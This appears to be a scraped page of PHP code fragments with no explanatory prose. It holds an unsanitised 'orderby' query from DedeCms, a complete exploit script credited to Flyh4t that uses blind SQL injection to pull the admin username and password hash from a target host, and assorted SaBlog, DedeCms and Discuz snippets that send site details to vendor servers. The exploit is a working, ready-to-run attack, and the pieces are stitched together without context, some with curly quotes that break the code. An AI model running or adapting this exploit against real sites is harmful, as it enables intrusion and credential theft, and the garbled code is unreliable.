if(empty($orderby)) $orderby = 'pubdate';

//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;

$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询

<?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}

/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;

/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>

<script type="text/javascript">
i=1;
var autourl=new Array();
autourl[1] = 'www.sablog.net';
autourl[2] = 'cnc.sablog.net';
function auto(url){
if(i){
i=0;
var oHead = document.getElementsByTagName('head').item(0);
var oScript= document.createElement("script");
oScript.type = "text/javascript";
oScript.src = "http://"+url+"/update.php?version=$now_version&release=$now_release&hostname=$now_hostname";
oHead.appendChild(oScript);
}
}
function run(){
for(var i=1;i<autourl.length;i++) {
document.write("<img src=http://"+autourl+" width=1 height=1 onerror=auto('"+autourl+"')>");
}
}
run();
</script>

function GetNewInfo(){
if(!isset($GLOBALS['__funAdmin'])) require_once(dirname(__FILE__)."/inc/inc_fun_funAdmin.php");
return SpGetNewInfo();
}

function SpGetNewInfo(){
global $cfg_version;
$nurl = $_SERVER["HTTP_HOST"];
if( eregi("[a-z\-]{1,}\.[a-z]{2,}",$nurl) ){ $nurl = urlencode($nurl); }
else{ $nurl = "test"; }
$gs = "<iframe name='stafrm' src='http://www.dedecms.com/newinfo.php?version=".urlencode($cfg_version)."&formurl=$nurl' frameborder='0' id='stafrm' width='100%' height='50'></iframe>";
return $gs;
}

<div class="bodytitle">
<div class="bodytitleleft"></div>
<div class="bodytitletxt">DedeCms最新消息</div>
</div>
<table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr><form name="uploadspider" action="upload_spider.php" method="post">
<td height="80" class="main_dnews">
<?php echo GetNewInfo()?> </td>
</form>
</tr>
</table>

function cpfooter() {
global $version, $adminid, $db, $tablepre, $action, $bbname, $charset, $timestamp, $isfounder, $insenz;
global $_COOKIE, $_SESSION, $_DCOOKIE, $_DCACHE, $_DSESSION, $_DCACHE, $_DPLUGIN, $sqldebug, $debuginfo;
$infmessage = '';
?>

<?=$infmessage?>

<?php echo $sqldebug;?>
</div>
</body>
</html>
<?php
updatesession();
}

function bbsinformation() {

global $db, $timestamp, $tablepre, $charset, $bbname, $_SERVER, $siteuniqueid, $save_mastermobile;
$update = array('uniqueid' => $siteuniqueid, 'version' => DISCUZ_VERSION, 'release' => DISCUZ_RELEASE, 'php' => PHP_VERSION, 'mysql' => $db->version(), 'charset' => $charset, 'bbname' => $bbname, 'mastermobile' => $save_mastermobile);

$updatetime = @filemtime(DISCUZ_ROOT.'./forumdata/updatetime.lock');
if(emptyempty($updatetime) &#124;&#124; ($timestamp - $updatetime > 3600 * 4)) {
@touch(DISCUZ_ROOT.'./forumdata/updatetime.lock');
$update['members'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}members");
$update['threads'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}threads");
$update['posts'] = $db->result_first("SELECT COUNT(*) FROM {$tablepre}posts");
$query = $db->query("SELECT special, count(*) AS spcount FROM {$tablepre}threads GROUP BY special");
while($thread = $db->fetch_array($query)) {
$thread['special'] = intval($thread['special']);
$update['spt_'.$thread['special']] = $thread['spcount'];
}
}

$data = '';
foreach($update as $key => $value) {
$data .= $key.'='.rawurlencode($value).'&';
}

return 'update='.rawurlencode(base64_encode($data)).'&md5hash='.substr(md5($_SERVER['HTTP_USER_AGENT'].implode('', $update).$timestamp), 8, 8).'×tamp='.$timestamp;
}

showtablerow('', array('class="vtop td24 lineheight"', 'class="lineheight smallfont"'), array(
lang('home_discuz_version'),
'Discuz! '.DISCUZ_VERSION.' Release '.DISCUZ_RELEASE.' <a href="http://www.discuz.net/forumdisplay.php?fid=10" class="lightlink smallfont" target="_blank">'.lang('home_check_newversion').'</a> '
));